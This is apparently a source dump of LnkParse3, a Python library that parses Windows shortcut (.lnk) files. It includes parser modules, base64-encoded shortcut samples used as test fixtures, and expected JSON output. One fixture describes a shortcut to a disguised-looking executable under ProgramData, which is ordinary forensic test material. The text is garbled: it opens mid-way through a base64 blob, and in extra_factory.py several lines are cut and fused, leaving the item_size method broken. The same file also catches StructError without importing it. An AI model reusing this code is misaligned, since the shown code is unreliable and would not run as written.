G9wXFBvc3REb2NcMjAxOTAxMDEgLSAyMDE5MTIzMSBLVSBMZXV2ZW4gTUQgU1BJQ1lccHVibGljYXRpb25zXDAyX01hamRcTWFqZCBQeSBGVC1JUlwuQ1NWIGZpbGUAAAsALgBcAC4AQwBTAFYAIABmAGkAbABlAGAAAAADAACgWAAAAAAAAABkZXNrdG9wLWNydGdsMDMAvLoSVnuNKk+heqKZbNULXWT6tpRa7OoRmi4w4XF6WDu8uhJWe40qT6F6opls1QtdZPq2lFrs6hGaLjDhcXpYOxcDAAAJAACgFQEAADFTUFPtML3aQwCJR6f40BOkc2Yi+QAAAGQAAAAAHwAAAHMAAABNAGEAagBkACAAUAB5ACAARgBUAC0ASQBSACAAKABDADoAXABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAcwBcAEkAYgByAGEAaABpAG0AXABCAHUAcgBlAGEAdQBcAFAAbwBzAHQARABvAGMAXAAyADAAMQA5ADAAMQAwADEAIAAtACAAMgAwADEAOQAxADIAMwAxACAASwBVACAATABlAHUAdgBlAG4AIABNAEQAIABTAFAASQBDAFkAXABwAHUAYgBsAGkAYwBhAHQAaQBvAG4AcwBcADAAMgBfAE0AYQBqAGQAKQAAAAAAAAAAAKQAAAAxU1BTMPElt+9HGhCl8QJgjJ7rrCUAAAAKAAAAAB8AAAAKAAAALgBDAFMAVgAgAGYAaQBsAGUAAAAVAAAADwAAAABAAAAAAPPkDxSB1gE5AAAABAAAAAAfAAAAFAAAAEQAbwBzAHMAaQBlAHIAIABkAGUAIABmAGkAYwBoAGkAZQByAHMAAAAVAAAADgAAAABAAAAAQNxQVRaB1gEAAAAAGQEAADFTUFOmamMoPZXSEbXWAMBP2RjQ/QAAAB4AAAAAHwAAAHUAAABDADoAXABVAHMAZQByAHMAXABJAGIAcgBhAGgAaQBtAFwARABlAHMAawB0AG8AcABcAFAAbwBzAHQARABvAGMAXAAyADAAMQA5ADAAMQAwADEAIAAtACAAMgAwADEAOQAxADIAMwAxACAASwBVACAATABlAHUAdgBlAG4AIABNAEQAIABTAFAASQBDAFkAXABwAHUAYgBsAGkAYwBhAHQAaQBvAG4AcwBcADAAMgBfAE0AYQBqAGQAXABNAGEAagBkACAAUAB5ACAARgBUAC0ASQBSAFwALgBDAFMAVgAgAGYAaQBsAGUAAAAAAAAAAAA5AAAAMVNQU7EWbUStjXBIp0hALqQ9eIwdAAAAaAAAAABIAAAAHiLtiAAAAAAAADDnAwAAAAAAAAAAAAAAAAAAAA== 2 | -------------------------------------------------------------------------------- /LnkParse3/extra_factory.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import warnings 3 | from struct import unpack 4 | 5 | from LnkParse3.extra.code_page import CodePage 6 | from LnkParse3.extra.console import Console 7 | from LnkParse3.extra.darwin import Darwin 8 | from LnkParse3.extra.distributed_tracker import DistributedTracker 9 | from LnkParse3.extra.environment import Environment 10 | from LnkParse3.extra.icon import Icon 11 | from LnkParse3.extra.known_folder import KnownFolder 12 | from LnkParse3.extra.metadata import Metadata 13 | from LnkParse3.extra.shell_item import ShellItem 14 | from LnkParse3.extra.shim_layer import ShimLayer 15 | from LnkParse3.extra.special_folder import SpecialFolder 16 | from LnkParse3.extra.unknown import Unknown 17 | 18 | 19 | """ 20 | ------------------------------------------------------------------ 21 | | 0-7b | 8-15b | 16-23b | 24-31b | 22 | ------------------------------------------------------------------ 23 | | BlockSize == 0x00000314 | 24 | ------------------------------------------------------------------ 25 | | BlockSignature == 0xA0000001 | 26 | ------------------------------------------------------------------ 27 | """ 28 | 29 | 30 | class ExtraFactory: 31 | EXTRA_SIGS = { 32 | "a0000001": Environment, 33 | "a0000002": Console, 34 | "a0000003": DistributedTracker, 35 | "a0000004": CodePage, 36 | "a0000005": SpecialFolder, 37 | "a0000006": Darwin, 38 | "a0000007": Icon, 39 | "a0000008": ShimLayer, 40 | "a0000009": Metadata, 41 | "a000000b": KnownFolder, 42 | "a000000c": ShellItem, 43 | } 44 | 45 | def __init__(self, indata): 46 | self._raw = indata 47 | 48 | def item_size(self): 49 | start, end = 0, 4 50 | size = unpack(" 4 and unpack(" int: 54 | return sum(extra.size() for extra in self.data) 55 | 56 | def as_dict(self): 57 | res = {} 58 | for extra in self: 59 | try: 60 | if isinstance(extra, Unknown): 61 | if extra.name() not in res: 62 | res[extra.name()] = [] 63 | res[extra.name()].append(extra.as_dict()) 64 | else: 65 | res[extra.name()] = extra.as_dict() 66 | except (StructError, ValueError) as e: 67 | msg = "Error while parsing `%s` (%s)" % (extra.name(), e) 68 | warnings.warn(msg) 69 | continue 70 | return res 71 | -------------------------------------------------------------------------------- /tests/samples/sample6: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/samples/sample: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/samples/extra_data: -------------------------------------------------------------------------------- 1 | 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 2 | -------------------------------------------------------------------------------- /tests/json/sample7.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "relative_path": "..\\..\\..\\..\\..\\..\\..\\ProgramData\\V\u041a_DJ\\V\u041a_DJ.exe", 4 | "working_directory": "C:\\ProgramData\\V\u041a_DJ" 5 | }, 6 | "extra": { 7 | "METADATA_PROPERTIES_BLOCK": { 8 | "property_store": [ 9 | { 10 | "format_id": "46588AE2-4CBC-4338-BBFC-139326986DCE", 11 | "serialized_property_values": [], 12 | "storage_size": 28, 13 | "version": "0x53505331" 14 | } 15 | ], 16 | "size": 40 17 | } 18 | }, 19 | "header": { 20 | "accessed_time": null, 21 | "creation_time": null, 22 | "file_flags": [], 23 | "file_size": 0, 24 | "guid": "00021401-0000-0000-C000-000000000046", 25 | "header_size": 76, 26 | "hotkey": "UNSET - UNSET {0x0000}", 27 | "icon_index": 0, 28 | "link_flags": [ 29 | "HasTargetIDList", 30 | "HasRelativePath", 31 | "HasWorkingDir", 32 | "IsUnicode" 33 | ], 34 | "modified_time": null, 35 | "r_file_flags": 0, 36 | "r_hotkey": 0, 37 | "r_link_flags": 153, 38 | "reserved0": 0, 39 | "reserved1": 0, 40 | "reserved2": 0, 41 | "windowstyle": "SW_SHOWNORMAL" 42 | }, 43 | "link_info": {}, 44 | "size": 583, 45 | "target": { 46 | "index": 78, 47 | "items": [ 48 | { 49 | "class": "Root Folder", 50 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 51 | "sort_index": "My Computer", 52 | "sort_index_value": 80 53 | }, 54 | { 55 | "class": "Volume Item", 56 | "data": "C:\\", 57 | "flags": "0xf" 58 | }, 59 | { 60 | "class": "File entry", 61 | "file_attribute_flags": 16, 62 | "file_size": 0, 63 | "flags": "Is directory", 64 | "modification_time": null, 65 | "primary_name": "ProgramData" 66 | }, 67 | { 68 | "class": "File entry", 69 | "file_attribute_flags": 16, 70 | "file_size": 0, 71 | "flags": "Is Unicode directory", 72 | "modification_time": null, 73 | "primary_name": "V\u041a_DJ" 74 | }, 75 | { 76 | "class": "File entry", 77 | "file_attribute_flags": 0, 78 | "file_size": 0, 79 | "flags": "Is Unicode file", 80 | "modification_time": null, 81 | "primary_name": "V\u041a_DJ.exe" 82 | } 83 | ], 84 | "size": 321 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /LnkParse3/extra/shell_item.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | 3 | from LnkParse3.extra.lnk_extra_base import LnkExtraBase 4 | from LnkParse3.lnk_targets import TargetFactory 5 | 6 | 7 | """ 8 | ------------------------------------------------------------------ 9 | | 0-7b | 8-15b | 16-23b | 24-31b | 10 | ------------------------------------------------------------------ 11 | | BlockSize >= 0x0000000A | 12 | ------------------------------------------------------------------ 13 | | BlockSignature == 0xA000000C | 14 | ------------------------------------------------------------------ 15 | | IDList | 16 | ------------------------------------------------------------------ 17 | """ 18 | 19 | 20 | class ShellItem(LnkExtraBase): 21 | def name(self): 22 | return "SHELL_ITEM_IDENTIFIER_BLOCK" 23 | 24 | def _id_list(self): 25 | """ItemIDList (variable): 26 | An array of zero or more ItemID structures (section 2.2.2), which 27 | contains the item ID list. An IDList structure conforms to the 28 | following ABNF [RFC5234]: 29 | 30 | IDLIST = *ITEMID TERMINALID 31 | 32 | ------------------------------------------------------------------ 33 | | 0-7b | 8-15b | 16-23b | 24-31b | 34 | ------------------------------------------------------------------ 35 | | ItemIDList (variable) | 36 | ------------------------------------------------------------------ 37 | | ... | 38 | |----------------------------------------------------------------- 39 | | TerminalID | 40 | -------------------------------- 41 | """ 42 | rest = self._raw[8 : self.size()] 43 | while rest: 44 | factory = TargetFactory(indata=rest) 45 | target_class = factory.target_class() 46 | 47 | if not target_class: 48 | # Empty or unknown target object. 49 | break 50 | 51 | target = target_class(indata=rest, cp=self.cp) 52 | 53 | size = factory.item_size() 54 | rest = rest[size:] 55 | yield target 56 | 57 | def id_list(self): 58 | res = [] 59 | for target in self._id_list(): 60 | try: 61 | res.append(target.as_item()) 62 | except KeyError as e: 63 | msg = f"Error while parsing extra TargetID `{target.name}` (KeyError {e})" 64 | warnings.warn(msg) 65 | continue 66 | return res 67 | 68 | def as_dict(self): 69 | tmp = super().as_dict() 70 | tmp["id_list"] = self.id_list() 71 | return tmp 72 | -------------------------------------------------------------------------------- /tests/samples/console_properties_block: -------------------------------------------------------------------------------- 1 | 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